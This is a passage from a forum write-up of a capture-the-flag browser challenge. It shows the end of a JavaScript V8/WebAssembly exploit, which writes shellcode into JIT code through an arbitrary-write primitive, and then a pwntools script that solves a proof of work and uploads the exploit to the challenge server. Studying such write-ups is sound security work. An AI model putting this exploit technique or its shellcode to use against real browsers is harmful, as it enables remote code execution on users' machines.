0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110 ]); const mod = new WebAssembly.Module(wasm_bytes); const instance_shellcode = new WebAssembly.Instance(mod); const pwn = instance_shellcode.exports.pwn; let offset_to_jit = 0x2959n; let rop_addr = jit_code_addr+offset_to_jit; // p(instance_shellcode); logg("rop_addr", rop_addr); var shellcode = [ 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 72340172838123592n, 7521907171660923137n, 302101820911791727n, 17740191518968858660n, 21732277098n ]; // var shellcode = [ // 0x4141414141414141n, // 0x4141414141414141n, // ]; pwn(0x1n); for(let i = 0; i < shellcode.length; i++){ AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]); } pwn(0x1n); ``` ## 上传脚本 ~~ai搓一个就行(~~ ```python #!/usr/bin/env python3 from pwn import * import hashlib # ✅ 添加这个 import os context.log_level = "debug" # 配置 HOST = "1.95.63.65" PORT = 26001 # HOST = "0.0.0.0" # PORT = 7000 def solve_pow(target_hash): """暴力破解 PoW""" prefix = b"rctf" for i in range(0x1000000): # 16^6 nonce = f"{i:06x}".encode() current_hash = hashlib.sha256(prefix + nonce).hexdigest() if current_hash == target_hash: return nonce.decode() return None def main(): # 读取 exp.js 文件 with open("exp.js", "rb") as f: js_content = f.read() # 计算文件大小 file_size = len(js_content) print(f"[+] File size: {file_size} bytes") # 连接到远程服务器 print(f"[+] Connecting to {HOST}:{PORT}") io = remote(HOST, PORT) try: # 1. 处理 PoW 挑战 io.recvuntil(b"=== Proof of Work Challenge ===\n") pow_line = io.recvline().decode() print(f"[+] PoW Challenge: {pow_line.strip()}") # 提取目标哈希 target_hash = pow_line.split("== ")[1].strip() print(f"[+] Target hash: {target_hash}") # 解决 PoW print("[+] Solving PoW...") nonce = solve_pow(target_hash) if not nonce: print("[!] Failed to solve PoW") return print(f"[+] Found nonce: {nonce}") io.sendafter(b"nonce:", nonce.encode()) result = io.recvline() print(f"[+] PoW result: {result.decode().strip()}") if b"pow failed" in result: print("[!] PoW verification failed!") return io.sendlineafter(b"script size:\n", str(file_size).encode()) # 3. 发送脚本内容 io.recvuntil(b"script:\n") io.send(js_content) # 注意:用 send 不是 sendline # 4. 接收执行结果 print("[+] Waiting for response...") io.interactive() except Exception as e: print(f"[!] Error: {e}") import traceback traceback.print_exc() finally: io.close() if __name__ == "__main__": main() ``` 
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2025-11-19 10:24 被flyyyy编辑 ,原因:
#浏览器相关
#漏洞机制
#题解集锦
收藏
・
0
点赞
・
3
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
感谢你的贡献,论坛因你而更加精彩!
2026-7-16 07:38
k423
谢谢你的细致分析,受益匪浅!
2025-11-20 14:04
winmt
+10
感谢你的贡献,论坛因你而更加精彩!
2025-11-18 19:10
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
flyyyy
雪 币:
6721
活跃值:
(2755)
能力值:
( LV9,RANK:260 )
在线值:
发帖
8
回帖
9
粉丝
37
关注
私信
flyyyy
6
2
楼
附件太大没办法直接上传,给一个下载链接:
514K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3x3h3I4&6P5i4W2Q4x3V1k6h3z5q4)9J5k6p5g2^5M7r3I4G2K9i4c8Q4x3X3c8o6L8$3I4D9k6h3y4@1K9h3!0F1i4K6u0r3j5X3I4G2j5W2)9J5c8X3#2S2K9h3&6Q4x3V1k6d9b7#2c8r3x3U0l9J5y4g2)9J5k6r3&6G2i4K6g2X3j5$3S2W2j5$3E0Q4y4h3k6%4j5i4y4E0i4K6u0r3L8X3!0Q4y4h3k6U0K9r3g2U0K9#2)9#2k6W2N6m8f1@1#2Q4y4h3k6#2L8Y4A6A6M7q4)9#2k6Y4m8S2M7%4y4%4L8%4u0V1i4K6g2X3K9i4y4Q4y4h3k6d9b7#2c8r3x3U0l9J5y4g2)9J5k6i4A6A6M7l9`.`.
2025-11-19 10:37
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
flyyyy
6
8
发帖
9
回帖
260
RANK
关注
私信
他的文章
[原创] 强网杯S9 Real World - monotint
17754
[原创] 第八届“强网”拟态防御国际精英挑战赛 - Cherry
16952
[原创] RCTF 2025 - no_check_WASM
13126
[原创] 第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬mt 复现
12750
[原创] CVE-2023-4069:Maglev图建立阶段的一个漏洞
4404
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部